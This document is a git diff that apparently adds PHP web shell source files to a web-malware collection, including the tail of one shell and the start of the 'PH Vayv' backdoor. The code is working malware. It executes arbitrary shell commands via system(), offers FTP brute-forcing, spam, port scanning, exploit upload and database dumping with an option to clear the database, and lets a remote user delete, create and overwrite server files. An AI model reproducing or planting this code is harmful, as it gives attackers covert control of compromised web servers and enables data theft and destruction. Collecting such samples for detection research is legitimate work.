colspan=3></td></tr></table></center>".nfm_copyright(); + + + + // SQL actions STARTS + + + + if ($sqlaction=='save') { + + if ($secu==1) { + + $fp=fopen($secu_config,"w"); + + fputs($fp,"<?php\n"); + + fputs($fp,"\$dbhost='$dbhost';\n"); + + fputs($fp,"\$dbbase='$dbbase';\n"); + + fputs($fp,"\$dbuser='$dbuser';\n"); + + fputs($fp,"\$dbpass='$dbpass';\n"); + + fputs($fp,"?>"); + + fclose($fp); + + } + + if (!is_array($tbls)) { + + echo $header."<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"> + +<br><center><font color=red>You forgot to check tables, which you need to dump =)</b></font></center>\n$footer"; + + exit; + + } + + if($f_cut==1) { + + if (!is_numeric($fz_max)) { + + echo $header."<br><center><font color=red><b>Veuillez choisir une valeur num?rique ? la taille du fichier ? scinder.</b></font></center>\n$footer"; + + exit; + + } + + if ($fz_max < 200000) { + + echo $header."<br><center><font color=red><b>Veuillez choisir une taille de fichier a scinder sup + + rieure ? 200 000 Octets.</b></font></center>\n$footer"; + + exit; + + } + + } + + + + $tbl=array(); + + $tbl[]=reset($tbls); + + if (count($tbls) > 1) { + + $a=true; + + while ($a !=false) { + + $a=next($tbls); + + if ($a !=false) { $tbl[]=$a; } + + } + + } + + + + if ($opt==1) { $sv_s=true; $sv_d=true; } + + else if ($opt==2) { $sv_s=true;$sv_d=false;$fc ="_struct"; } + + else if ($opt==3) { $sv_s=false;$sv_d=true;$fc ="_data"; } + + else { exit; } + + + + $fext=".".$savmode; + + $fich=$dbbase.$fc.$fext; + + $dte=""; + + if ($ecraz !=1) { $dte=date("dMy_Hi")."_"; } $gz=""; + + if ($file_type=='1') { $gz.=".gz"; } + + $fcut=false; + + $ftbl=false; + + $f_nm=array(); + + if($f_cut==1) { $fcut=true;$fz_max=$fz_max;$nbf=1;$f_size=170;} + + if($f_tbl==1) { $ftbl=true; } + + else { + + if(!$fcut) { open_file("dump_".$dte.$dbbase.$fc.$fext.$gz); } + + else { open_file("dump_".$dte.$dbbase.$fc."_1".$fext.$gz); } + + } + + + + $nbf=1; + + mysql_connect($dbhost,$dbuser,$dbpass); + + mysql_select_db($dbbase); + + if ($fext==".sql") { + + if ($ftbl) { + + while (list($i)=each($tbl)) { + + $temp=sqldumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut) { + + open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz); + + $nbf=0; + + $p_sql=split_sql_file($temp); + + while(list($j,$val)=each($p_sql)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); } + + else { close_file(); $nbf++; open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".sql".$gz); write_file($val.";"); } + + } + + close_file(); + + } + + else { open_file("dump_".$dte.$tbl[$i].$fc.".sql".$gz);write_file($temp."\n\n");close_file();$nbf=1; } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } else { + + $tblsv=""; + + while (list($i)=each($tbl)) { + + $temp=sqldumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut && ((file_pos()+$sz_t) > $fz_max)) { + + $p_sql=split_sql_file($temp); + + while(list($j,$val)=each($p_sql)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val.";"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".sql".$gz); + + write_file($val.";"); + + } + + } + + } else { write_file($temp); } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } + + } + + else if ($fext==".csv") { + + if ($ftbl) { + + while (list($i)=each($tbl)) { + + $temp=csvdumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut) { + + open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz); + + $nbf=0; + + $p_csv=split_csv_file($temp); + + while(list($j,$val)=each($p_csv)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$tbl[$i].$fc."_".$nbf.".csv".$gz); + + write_file($val."\n"); + + } + + } + + close_file(); + + } else { + + open_file("dump_".$dte.$tbl[$i].$fc.".csv".$gz); + + write_file($temp."\n\n"); + + close_file(); + + $nbf=1; + + } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } else { + + while (list($i)=each($tbl)) { + + $temp=csvdumptable($tbl[$i]); + + $sz_t=strlen($temp); + + if ($fcut && ((file_pos()+$sz_t) > $fz_max)) { + + $p_csv=split_sql_file($temp); + + while(list($j,$val)=each($p_csv)) { + + if ((file_pos()+6+strlen($val)) < $fz_max) { write_file($val."\n"); } + + else { + + close_file(); + + $nbf++; + + open_file("dump_".$dte.$dbbase.$fc."_".$nbf.".csv".$gz); + + write_file($val."\n"); + + } + + } + + } else { write_file($temp); } + + $tblsv=$tblsv."<b>".$tbl[$i]."</b>,<br>"; + + } + + } + + } + + + + mysql_close(); + + if (!$ftbl) { close_file(); } + + + + echo $header; + + echo "<br><center>All the data in these tables:<br> ".$tblsv." were putted to this file:<br><br></center><table border='0' align='center' cellpadding='0' cellspacing='0'><col width=1 bgcolor='#2D7DA7'><col valign=center><col width=1 bgcolor='#2D7DA7'><col valign=center align=right><col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>File</b></font></td><td></td><td bgcolor='#338CBD' align=center class=texte><font size=1><b>Size</b></font></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + reset($f_nm); + + while (list($i,$val)=each($f_nm)) { + + $coul='#99CCCC'; + + if ($i % 2) { $coul='#CFE3E3'; } + + echo "<tr><td></td><td bgcolor=".$coul." class=texte>&nbsp;<a href='".$val."' class=link target='_blank'>".$val."&nbsp;</a></td><td></td>"; + + $fz_tmp=filesize($val); + + if ($fcut && ($fz_tmp > $fz_max)) { + + echo "<td bgcolor=".$coul." class=texte>&nbsp;<font size=1 color=red>".$fz_tmp." Octets</font>&nbsp;</td><td></td></tr>"; + + } else { + + echo "<td bgcolor=".$coul." class=texte>&nbsp;<font size=1>".$fz_tmp." bites</font>&nbsp;</td><td></td></tr>"; + + } + + echo "<tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + } + + echo "</table><br>"; + + echo $footer;exit; + + } + + + + if ($sqlaction=='connect') { + + if(!@mysql_connect($dbhost,$dbuser,$dbpass)) { + + echo $header."<br><center><font color=red><b>Unable to connect! Check your data input!</b></font></center>\n$footer"; + + exit; + + } + + + + if(!@mysql_select_db($dbbase)) { + + echo $header."<br><center><font color=red><<b>Unable to connect! Check your data input!</b></font></center>\n$footer"; + + exit; + + } + + + + if ($secu==1) { + + if (!file_exists($secu_config)) { + + $fp=fopen($secu_config,"w"); + + fputs($fp,"<?php\n"); + + fputs($fp,"\$dbhost='$dbhost';\n"); + + fputs($fp,"\$dbbase='$dbbase';\n"); + + fputs($fp,"\$dbuser='$dbuser';\n"); + + fputs($fp,"\$dbpass='$dbpass';\n"); + + fputs($fp,"?>"); + + fclose($fp); + + } + + include($secu_config); + + } else { + + if (file_exists($secu_config)) { unlink($secu_config); } + + } + + + + mysql_connect($dbhost,$dbuser,$dbpass); + + $tables=mysql_list_tables($dbbase); + + $nb_tbl=mysql_num_rows($tables); + + + + echo $header."<script language='javascript'> function checkall() { var i=0;while (i < $nb_tbl) { a='tbls['+i+']';document.formu.elements[a].checked=true;i=i+1;} } function decheckall() { var i=0;while (i < $nb_tbl) { a='tbls['+i+']';document.formu.elements[a].checked=false;i=i+1;} } </script><center><br><b>Choose tables you need to dump!</b><form action='' method='post' name=formu><input type='hidden' name='sqlaction' value='save'><input type='hidden' name='dbhost' value='$dbhost'><input type='hidden' name='dbbase' value='$dbbase'><input type='hidden' name='dbuser' value='$dbuser'><input type='hidden' name='dbpass' value='$dbpass'><DIV ID='infobull'></DIV><table border='0' width='400' align='center' cellpadding='0' cellspacing='0' class=texte><col width=1 bgcolor='#2D7DA7'><col width=30 align=center valign=center><col width=1 bgcolor='#2D7DA7'><col width=350> <col width=1 bgcolor='#2D7DA7'><tr><td bgcolor='#2D7DA7' colspan=5></td></tr><tr><td></td><td bgcolor='#336699'><input type='checkbox' name='selc' alt='Check all' onclick='if (document.formu.selc.checked==true){checkall();}else{decheckall();}')\"></td><td></td><td bgcolor='#338CBD' align=center><B>Table names</b></td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + + + $i=0; + + while ($i < mysql_num_rows ($tables)) { + + $coul='#99CCCC'; + + if ($i % 2) { $coul='#CFE3E3';} + + $tb_nom=mysql_tablename ($tables,$i); + + echo "<tr><td></td><td bgcolor='".$coul."'><input type='checkbox' name='tbls[".$i."]' value='".$tb_nom."'></td><td></td><td bgcolor='".$coul."'>&nbsp;&nbsp;&nbsp;".$tb_nom."</td><td></td></tr><tr><td bgcolor='#2D7DA7' colspan=5></td></tr>"; + + $i++; + + } + + + + mysql_close(); + + echo "</table><br><br><table align=center border=0><tr><td align=left class=texte> <hr> <input type='radio' name='savmode' value='csv'> + + Save to csv (*.<i>csv</i>)<br> <input type='radio' name='savmode' value='sql' checked> + + Save to Sql (*.<i>sql</i>)<br> <hr> <input type='radio' name='opt' value='1' checked> + + Save structure and data<br> <input type='radio' name='opt' value='2'> + + Save structure only<br> <input type='radio' name='opt' value='3'> + + Save data only<br> <hr> <input type='Checkbox' name='drp_tbl' value='1' checked> + + Rewrite file if exists<br> <input type='Checkbox' name='ecraz' value='1' checked> + + Clear database after dump<br> <input type='Checkbox' name='f_tbl' value='1'> + + Put each table to a separate file<br> <input type='Checkbox' name='f_cut' value='1'> + + Maximum dump-file size: <input type='text' name='fz_max' value='200000' class=form> + + Octets<br> <input type='Checkbox' name='file_type' value='1'> + + Gzip.<br> + + </td></tr></table><br><br><input type='submit' value=' Dump:) ' class=form></form></center>$footer"; + + exit; + + } + + + +// SQL actions END + + + + if(file_exists($secu_config)) { + + include ($secu_config); + + $ck="checked"; + + } else { + + $dbhost="localhost"; + + $dbbase=""; + + $dbuser="root"; + + $dbpass=""; + + $ck=""; + + } + + + + echo $header." + +<center><br><br> + +<table width=620 cellpadding=0 cellspacing=0 align=center> + + <col width=1> + + <col width=600> + + <col width=1> + + <tr> + + <td></td> + + <td align=left class=texte> + + <br> + + <form action='' method='post'> + + <input type='hidden' name='sqlaction' value='connect'> + + <table border=0 align=center> + + <col> + + <col align=left> + + <tr> + + <td colspan=2 align=center style='font:bold 9pt;font-family:verdana;'>Enter data to connect to MySQL server!<br><br></td> + + </tr> + + <tr> + + <td class=texte>Server address:</td> + + <td><INPUT TYPE='TEXT' NAME='dbhost' SIZE='30' VALUE='localhost' class=form></td> + + </tr> + + <tr> + + <td class=texte>Base name:</td> + + <td><INPUT TYPE='TEXT' NAME='dbbase' SIZE='30' VALUE='' class=form></td> + + </tr> + + <tr> + + <td class=texte>Login:</td> + + <td><INPUT TYPE='TEXT' NAME='dbuser' SIZE='30' VALUE='root' class=form></td> + + </tr> + + <tr> + + <td class=texte>Password</td> + + <td><INPUT TYPE='Password' NAME='dbpass' SIZE='30' VALUE='' class=form></td> + + </tr> + + </table> + + <br> <center> <br><br> + + <input type='submit' value=' Connect ' class=form></center> </form> <br><br> + + </td> + + <td></td> + + </tr> + + <tr> + + <td height=1 colspan=3></td> + + </tr> + +</table> + +</center>"; + + + +} + +// SQL END + + + +/* main() */ + +set_time_limit(0); + + + +if ( $action !="download") print("$HTML"); + + + +if (!isset($cm)) { + + if (!isset($action)) { + + if (!isset($tm)) { $tm = getcwd(); } + + $curdir = getcwd(); + + if (!@chdir($tm)) exit("<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=alert>Access to directory is denied, see CHMOD.</td></tr></table>"); + + getdir(); + + chdir($curdir); + + $supsub = $gdir[$j-1]; + + if (!isset($tm) ) { $tm=getcwd();} + + readdirdata($tm); + + } else { + + switch ($action) { + + case "view": + + viewfile($tm,$fi); + + break; + + case "delete": + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File <b>$fi</b> was deleted successfully.</font></center></td></tr></table>"; + + deletef($tm); + + break; + + case "download": + + if (isset($fatt) && strlen($fatt)>0) { + + $attach=$fatt; + + header("Content-type: text/plain"); + + } + + else { + + $attach=$fi; + + header("Content-type: hackru"); + + } + + header("Content-disposition: attachment; filename=\"$attach\";"); + + readfile($tm."/".$fi); + + break; + + case "download_mail": + + download_mail($tm,$fi); + + break; + + case "edit": + + editfile($tm,$fi); + + break; + + case "save": + + savefile($tm,$fi); + + break; + + case "uploadd": + + uploadtem(); + + break; + + case "up": + + up($tm); + + break; + + case "newdir": + + newdir($tm); + + break; + + case "createdir": + + cdir($tm); + + break; + + case "deldir": + + deldir(); + + break; + + case "feedback": + + mailsystem(); + + break; + + case "upload": + + upload(); + + break; + + case "help": + + help(); + + break; + + case "ftp": + + ftp(); + + break; + + case "portscan": + + portscan(); + + break; + + case "sql": + + sql(); + + break; + + case "tar": + + tar(); + + break; + + case "bash": + + bash(); + + break; + + case "passwd": + + passwd(); + + break; + + case "exploits": + + exploits($dir); + + break; + + case "upload_exploits": + + upload_exploits($dir); + + break; + + case "upload_exploitsp": + + upload_exploitsp($dir); + + break; + + case "arhiv": + + arhiv($tm,$pass); + + break; + + case "crypte": + + crypte(); + + break; + + case "decrypte": + + decrypte(); + + break; + + case "brut_ftp": + + brut_ftp(); + + break; + + case "copyfile": + + copyfile($tm,$fi); + + break; + + case "down": + + down($dir); + + break; + + case "downfiles": + + downfiles($dir); + + break; + + case "spam": + + spam(); + + break; + + } + + } + +} else { + + echo "<br><table CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFFF BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center>Done: $cm</center><pre>"; + + echo system($cm); + + echo "</pre></td></tr></table>"; + +} + + + +if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "ftp" && $action != "portscan" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method='get' action='$PHP_SELF'><tr><td align=center colspan=2 class=pagetitle><b>Command prompy (like bash):</b></td></tr><tr><td valign=top><input type=text name=cm size=90 class='inputbox'></td><td valign=top><input type=submit value='GO' class=button1 $style_button></td></tr></form></table>"; + + $perdir = @permissions(fileperms($tm)); + + if ($perdir && $perdir[7] == "w" && isset($tm)) uploadtem(); + + else echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Unable to upload files to current directory</b></font></td></tr></table>"; + + if ($perdir[7] == "w" && isset($tm)) { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method = 'POST' action = '$PHP_SELF?tm=$tm&action=createdir'><tr><td align=center colspan=2 class=pagetitle><b>Create directory:</b></td></tr><tr><td valign=top><input type=text name='newd' size=90 class='inputbox'></td><td valign=top><input type=submit value='GO' class=button1 $style_button></td></tr></form></table>"; + + } else { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Unable to create directory here</b></td></tr></table>"; + + } + +} + + + +if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "aliases" && $action != "portscan" && $action != "ftp" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method='get' action='$PHP_SELF'><tr><td align=center colspan=2 class=pagetitle><b>Ready usefull requests to unix server:</b></td></tr><tr><td valign=top width=95%><select name=cm class='inputbox'>"; + + foreach ($aliases as $alias_name=>$alias_cmd) echo "<option size=80 class='inputbox'>$alias_name</option>"; + + echo "</select></td><td valign=top align=right width=5%><input type=submit value='GO' class=button1 $style_button></td></tr></table></form>"; + +} + + + +if ( $action !="download") echo nfm_copyright(); + +?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/PH Vayv.txt b/web-malware-collection-master/Backdoors/PHP/PH Vayv.txt new file mode 100755 index 0000000..c01e2c7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PH Vayv.txt @@ -0,0 +1,597 @@ +<? if($sistembilgisi > "") {phpinfo();} else { ?> + + +<?$fistik=PHVayv;?> + + +<?if ($sildos>"") {unlink("$dizin/$sildos");} ?> + +<?if ($dizin== ""){$dizin=realpath('.');}{$dizin=realpath($dizin);}?> + +<?if ($silklas > ""){rmdir($silklas);}?> + +<?if ($yeniklasor > "") {mkdir("$dizin/$duzenx2",777);}?> + + + +<?if ($yenidosya == "1") { +$baglan=fopen("$dizin/$duzenx2",'w'); +fwrite($baglan,$duzenx); +fclose($baglan);} +?> + + + + +<?if ($duzkaydet > "") { + +$baglan=fopen($duzkaydet,'w'); +fwrite($baglan,$duzenx); +fclose($baglan);} +?> + + + + +<?if ($yenklas>"") {;?> +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup�<br> + </span>Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;�al���lan </span></font> + <font face="Verdana" style="font-size: 8pt">Dizin</font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + &nbsp;</td> + </tr> + </table> + </td> + </tr> +</table> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber30" height="184"> + <tr> + <td width="100%" bgcolor="#000000" height="19">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F" align="center" height="144"> + <form method="POST" action="<?echo "$fistik.php?yeniklasor=1&dizin=$dizin"?>" + <p align="center"><br> + <font + color="#FFFFFF" size="1" face="Arial"> +<input + type="text" size="37" maxlength="32" + name="duzenx2" value="Klas�r Ad�" + class="search" + onblur="if (this.value == '') this.value = 'Kullan�c�'" + onfocus="if (this.value == 'Kullan�c�') this.value=''" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"></font></p> +<p align="center"> + <span class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span></span><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +&nbsp;</font></b></p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000" align="center" height="19"> + &nbsp;</td> + </tr> + </table> + + + +<? } else { ?> + + + + +<?if ($yendos>"") {; +?> + +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup�<br> + </span>Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;�al���lan </span></font> + <font face="Verdana" style="font-size: 8pt">Dizin</font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + &nbsp;</td> + </tr> + </table> + </td> + </tr> +</table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="495"> + <tr> + <td width="100%" bgcolor="#000000" height="19">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F" align="center" height="455"> + <form method="POST" action="<?echo "$fistik.php?yenidosya=1&dizin=$dizin"?>" + <p align="center"><br> + <font + color="#FFFFFF" size="1" face="Arial"> +<input + type="text" size="50" maxlength="32" + name="duzenx2" value="Dosya Ad�" + class="search" + onblur="if (this.value == '') this.value = 'Kullan�c�'" + onfocus="if (this.value == 'Kullan�c�') this.value=''" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"></font></p> +<p align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red"> + <textarea name="duzenx" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-CENTER: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left" + + + rows="24" cols="122" wrap="OFF">XXXX</textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +<br> +</font></b> + <span class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span><br> +&nbsp;</p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000" align="center" height="19"> + &nbsp;</td> + </tr> + </table> + + + +<? } else { ?> + + + + + +<?if ($duzenle>"") {; +?> + + + + +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup�<br> + </span>Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="1"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="1"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;�al���lan Dosya</span></font></td> + <td bgcolor="#D6D6D6" height="1"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4" height="19"> + <tr> + <td width="1" height="19"></td> + <td rowspan="2" height="19"><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin/$duzenle"?></font></td> + </tr> + <tr> + <td width="1" height="1"></td> + </tr> + </table> + </td> + </tr> +</table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1"> + <tr> + <td width="100%" bgcolor="#000000">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F"> + <form method="POST" action="<?echo "PHVayv.php?duzkaydet=$dizin/$duzenle&dizin=$dizin"?>" name="kaypos"> +<p align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red"> + <br> + <textarea name="duzenx" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left" + + + rows="24" cols="122" wrap="OFF"><?$baglan=fopen("$dizin/$duzenle",'r'); +while(! feof ( $baglan ) ){ +$okunan=fgets($baglan,1024); +echo $okunan; +} fclose($baglan); ?></textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +<br> +</font></b> + <span 